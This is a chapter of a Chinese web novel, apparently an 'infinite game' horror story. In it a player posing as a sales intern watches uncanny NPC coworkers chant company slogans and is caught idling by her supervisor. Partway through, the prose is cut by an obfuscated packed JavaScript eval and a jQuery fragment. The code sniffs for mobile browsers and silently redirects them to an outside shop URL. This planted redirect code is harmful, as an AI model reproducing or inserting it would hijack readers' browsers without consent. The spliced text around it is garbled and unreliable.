望着紧闭的窗帘，李华后背冒起冷汗，还好自己手快，在听到电话铃声那一刻，她的本能将原本被拉开的一条缝隙合了起来。
再打开时，电话线员工的头已经缓缓移了回去，如果刚才慢一点被发现，现在应该已经凶多吉少了。
她这么年轻，当牛马挣的辛苦钱还没享受，现在可不能死。
……
早晨，墙上的闹钟再如约响起，李华顶着两个黑眼圈一头坐起身来。
销售部依旧保持着昨天的状态，所有声音混杂在一起，组成一片销售奏乐。
李华刚坐下，天花板上的广播突然响起：“请销售部全体员工，于五分钟内前往会议室参加晨会。”
“请销售部全体员工，于五分钟内前往会议室参加晨会。”
第二遍，声音刚落下，整个销售部瞬间发生变化，那些正在打电话的员工，几乎在同一时间停下动作。
电话被依次挂断，动作整齐得像经过无数次训练。
李华坐在自己的位置上，手指微微停顿，她看见斜对角一个刚刚还在和客户沟通的男员工。
电话那头似乎还在说话，可他脸上的笑容没有任何变化，“好的，感谢您的咨询，祝您生活愉快。”
说完，他直接挂断电话，没有解释，没有道歉，甚至没留给机会给对方说话。
客户似乎不重要，重要的是，广播响了，所有人必须去参加晨会。
李华慢慢站起身，观察着周围，正式员工拿什么，她也拿什么。
在路上，整个销售部几十名员工，没人交流。也没人催促同事快一点。
他们只是起身离开，抬脚朝会议室走去，动作整齐划一。
会议室内。
和昨天入职培训时他们所看见的摆设完全不同，现在室内最前方挂着宏图集团的LOGO。
投影幕布已经提前亮起，原本摆放整齐的长桌全部被撤走，取而代之的，是一片空旷区域。
地面上，贴着一块块浅灰色脚印，每一个位置之间的距离，都大差不差，像是在告诉员工：
你该站在哪里，应该距离谁多远，应该保持什么站姿。
NPC员工进入会议室后，没有停顿，他们挨个填满了灰色脚印。
前后左右，没人拥挤站错，正式工双手自然垂放，腰背挺直，脸上挂着李姐那种标准的职业微笑。
李华站在人群最后，旁边的自拍妹忍不住低声开口：“这也太整齐了吧……”
声音刚出来，李哥立刻碰了一下她的胳膊，示意她闭嘴。
自拍妹张了张嘴，最终还是忍住了。
李华看见就在她说话的时候，前方几个NPC员工同时一点点转过头，虽然动作很轻微，但十几双微笑的眼睛同时扫过来。
那一瞬间，李华后背瞬间起了一层鸡皮疙瘩。
会议室前门打开，王强走了出来，他轻轻按下遥控器。
身后的电子屏幕亮起：
【今日工作目标】
【完成20通有效电话】
【新增5名意向客户】
【电话录音全部上传】
【16:00统一进行晚总结】
李华认真看了一遍，只是工作量增加，其他没有任何变化。
王强扫视众人，缓缓开口：“销售不是推销产品。销售，是帮助客户解决问题，只要按照流程工作，公司不会亏待任何一个努力的人。”
他说到这里，嘴角微微扬起：
“相信自己的选择，相信公司的安排，相信未来。”
李华嘴角抽动，内心嘀咕：“这不是传销是什么，搞半天搁那洗脑呢。”
王强没有继续讲话，只是轻轻点头。
“下面，开始晨会。”
话尾落下，第一排员工同时抬起右手，没有任何迟疑。
紧接着，第二排，第三排。
整个会议室，几十名员工，全部举手。
李华等一众人明显愣了一瞬，然后连忙跟上。
下一秒，整齐的声音响起：
“相信公司！”
声音洪亮。
“相信自己！”
更加响亮。
“相信未来！”
最后一句，几乎像嘶吼出来的一样，在整个会议室里回荡。
李华也跟着喊，她声音不大，努力保持着相同节奏，不敢太突出，也不敢故意敷衍。
员工在卖力喊口号时，李华的视线无意间扫过前排。
一个NPC员工的胸口，微微鼓起，幅度很小，像有什么东西在皮肤下面缓慢移动。
李华眼神微凝。下一秒，越来越多的员工胸口出现同样的变化。
那些白色衬衫下面，有什么东西正在随着他们的声音，一点一点跃动。
可所有员工的表情没有任何变化，他们依旧微笑，依旧呐喊，依旧重复那三句话。
直到最后一遍结束，胸口才恢复平静，员工们放下手，重新站好。
晨会解散，员工有秩序地回到看各自的岗位上，小少爷难得没有摆架子，他一脸警惕的环顾四周：“这不会是什么电诈吧，不停的喊口号就是在洗脑。”
年轻男人拍了拍他的肩膀：“少爷，您没事可以多下下基层，别说销售了，现在买个家具电器的，隔三差五也得聚众喊口号打气。”
晨会结束，销售部重新恢复运转，短暂的安静之后。
电话铃声再次响起。
叮铃铃——
叮铃铃——
一声接一声。
几十名员工重新坐回工位，戴上耳机，拿起电话。
王强越过办公区中央，来到实习生工位前，“昨天只是试岗，从今天开始，各位正式进入试用期。”
他扫过一众人，“希望大家认真工作，努力转正。”
说完，王强没有留下监督。转身走进主管办公室。
李华电脑刚启动，宏图集团的内部系统便自动弹出，蓝□□面占满屏幕。
【今日工作任务】
【完成20通有效电话】
【新增5名意向客户】
【完善全部客户档案】
李华盯着屏幕看了几秒，随后戴上耳机，开始拨打今天第一通电话：“您好，请问方便了解一下我们的产品吗？”
第一句话出口的时候，她明显感觉比昨天自然许多。
一天时间过去，她已经能够保持基本的语气和节奏。
当然，拒绝依旧很多，李华看着黑掉的通话界面，心里没有太大波动。
现实里找工作的时候，她经历过更多，比起那些简历投出去石沉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17813001|210948||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
大海。
电话被挂断，至少还算有回应。
她整理好客户记录，继续拨打下一通。
……
李哥像是来到了舒适区，他坐在工位上，话术老练。
不到一个小时，他已经成功约到了两名客户，旁边几个玩家忍不住看向他。
眼神里带着羡慕，李哥察觉后，只是笑了笑，“没那么难，主要就是脸皮厚，多练几次就好了。”
学生妹的表现比昨日好了一点，但也只是那么一点，他没有李哥那么强的沟通技巧，说话也不够圆滑。
客户刚表达拒绝，她就不知道该怎么继续了。
可李华发现她很认真，昨天培训时王强讲过的每一句话术。
她全部记了下来，桌上额外放着一个笔记本。
每打一通电话，她都会认真记录，李华私下看过那本子：
【客户拒绝速度过快。】
【开场时间太长。】
【客户询问价格时，没有及时转换话题。】
密密麻麻写满一页，有人路过，看了一眼，忍不住笑，“你也太认真了吧，还写复盘？”
学生妹抬起头，有些不好意思，“既然完成工作能活着出去，那就把工作做好。”
她说完，低头继续整理记录。
时间一点点过去，上午十点多，李华谈下一名客户。
系统正在保存客户资料，趁着这几秒空隙，她靠在椅背上，轻轻活动了一下肩膀。
连续说几个小时话，嗓子已经有些发干，她拿起水杯，目光有意扫过前方。
前排一个NPC员工，正坐在那里打电话，“您好，请问方便了解一下我们的产品吗？”
停顿几秒。
“您好，请问方便了解一下我们的产品吗？”
又停顿几两秒。
还是同一句话，李华皱起眉。
一开始她以为只是固定话术，可很快她发现不对劲二的地方，这个员工重复的，不只是内容，还有语气，停顿时间。
像一段提前录好的程序。
李华视线慢慢下移，落在那部电话上。通话指示灯，没有亮。电话线，没有任何变化。
也就是说，电话早就挂断了，可那个员工依旧保持着接听姿势，不断重复。
“您好，请问方便了解一下我们的产品吗？”
“您好，请问方便了解一下我们的产品吗？”
李华心里微微发冷，她刚想再看清楚一点，电脑屏幕突然弹出一个蓝色窗口。
【检测到当前页面长时间无操作。】
接着，第二行文字出现：
【请专注工作。】
李华愣了一下，她下意识抬头望向主管办公室。
百叶窗不知道什么时候打开了一条缝，王强站在那里。
漏出一双眼睛，隔着整个销售部，正静静的看着她。
只是那样看着。
糟糕，摸鱼被抓住了。
李华目光自然转向一旁，顺势拿起耳机拍了几下又放在耳边，来回几次后才戴上，手边的笔也开始飞舞起来。
随后，百叶窗缓缓关闭，电脑上的提示框也消失不见。
李华握住鼠标，继续填写客户资料，她低头在记录本面上的一页纸记下：【工作室内有监控。】